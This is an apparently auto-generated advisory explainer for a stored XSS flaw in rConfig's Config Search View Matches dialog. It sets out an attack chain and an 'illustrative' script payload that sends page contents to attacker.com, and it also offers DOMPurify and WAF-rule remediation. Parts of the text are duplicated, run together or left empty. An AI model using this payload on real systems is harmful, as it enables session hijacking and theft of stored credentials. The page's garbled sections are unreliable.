CVE-2026-135693 — RConfig Core (8.2.17) — CWE-79
rConfig Core 8.0.0 before 8.2.17 and rConfig Pro before 8.4.0 contain a stored cross-site scripting vulnerability in the Config Search View Matches dialog, which renders configuration context via v-html without escaping. Attackers can place markup in device banners, interface descriptions, ACL remarks or SNMP locations to execute script in a user's session and read stored configurations containing secrets.
rConfig Core 8.0.0 before 8.2.17 and rConfig Pro before 8.4.0 contain a stored cross-site scripting vulnerability in the Config Search View Matches dialog, which renders configuration context via v-html without escaping. Attackers can place markup in device banners, interface descriptions, ACL remarks or SNMP locations to execute script in a user's session and read stored configurations containing secrets.
🎯 What is this vulnerability?
CVE-2026-135693 is a Stored Cross-Site Scripting (Stored XSS) vulnerability (CWE-79) affecting rConfig Core (versions 8.0.0 through 8.2.16) and rConfig Pro (versions prior to 8.4.0).
The technical flaw lies in the Config Search View Matches dialog. When a user searches for configuration strings, the application retrieves matching configuration snippets from the database and renders them directly into the DOM using the Vue.js directive v-html.
The Critical Failure:
The v-html directive in Vue.js bypasses the framework's built-in HTML escaping mechanism. It assumes the input is trusted, sanitized HTML. However, rConfig fails to sanitize the configuration data before passing it to v-html.
Attack Vector:
rConfig stores device configurations (banners, interface descriptions, ACL remarks, SNMP locations) in its database. These fields are often editable by network administrators or, in some configurations, lower-privileged users or even via API if authentication is weak. An attacker can inject malicious JavaScript payloads into these specific configuration fields. When any authenticated user (including an administrator) performs a search that matches the injected payload, the browser executes the script in the context of the rConfig application.
Why it is Critical (CVSS 9.3):
- PR:L (Low Privileges): The attacker only needs a low-privileged account (e.g., a read-only user or a user with limited config edit rights) to inject the payload.
- UI:P (User Interaction): Requires a victim (e.g., an admin) to perform a search.
- VC:H/VI:H/SC:H/SI:H: The script executes in the victim's browser session, allowing the attacker to:
- Fingerprinting: Identify rConfig instances via default ports (typically 80/443) and specific HTTP headers or login page elements.
- Version Check: Determine if the version is < 8.2.17 (Core) or < 8.4.0 (Pro). This can often be done via the
/api/versionendpoint (if exposed) or by observing UI elements specific to certain versions. - Authentication: Obtain a low-privileged account. In many enterprise environments, service accounts or junior admin accounts may have write access to specific device configuration fields (e.g., "Interface Description" or "SNMP Location").
interface descriptionsnmp locationbanner motd(Message of the Day)ACL remark
* Read sensitive configuration data (secrets, API keys, passwords) visible in the DOM.
* Perform actions on behalf of the victim (CSRF-like behavior).
* Potentially escalate privileges if the application has other logic flaws exploitable via the victim's session.
⚡ Attack Chain
1. Discovery & Reconnaissance
2. Exploitation
Step 1: Payload Injection The attacker logs in with their low-privileged account. They navigate to a device configuration page where they have write access to a text field that is later rendered in the "Config Search View Matches" dialog. Common targets include:Illustrative Payload:
<script>
// Exfiltrate sensitive data from the current page
const configData = document.body.innerText;
fetch('https://attacker.com/collect', {
method: 'POST',
headers: { 'Content-Type': 'text/plain' },
body: configData
});
</script>Note: The exact endpoint URI for editing these fields is not specified in the CVE description. The above is an illustrative example of how a payload would be injected into a configuration field via the rConfig UI or API.
Step 2: Triggering the Vulnerability
The attacker waits for a high-privileged user (e.g., a network administrator) to perform a search in rConfig that matches the injected string. For example, if the payload was injected into an interface description containing "UPLINK-01", the admin might search for "UPLINK" or "01".
When the search results are displayed in the "Config Search View Matches" dialog, the v-html directive renders the stored string, including the <script> tag, causing the JavaScript to execute in the admin's browser.
3. Post-Exploitation
document.cookie) and send it to the attacker, allowing full account takeover.🌍 Real World Impact
Practical Consequences:
🛡️ Remediation & Mitigation
1. Upgrade (Primary Fix)
2. Workarounds (If Immediate Upgrade is Not Possible)
v-html. Use a library like DOMPurify to strip out script tags and other malicious content.// Example of sanitizing before rendering (illustrative)
import DOMPurify from 'dompurify';
const cleanHtml = DOMPurify.sanitize(rawConfigString);
// Use cleanHtml in v-html3. WAF/ModSecurity Rules
SecRule REQUEST_BODY|ARGS "@rx <script|javascript:|onerror=|onload=" "id:100001,phase:2,deny,status:403,msg:'XSS Attack Detected'"4. Detection & IoCs
<script>, javascript:).⚠️ Urgency
[🤖 CVE Professor AI Security Engine]
FOFA Query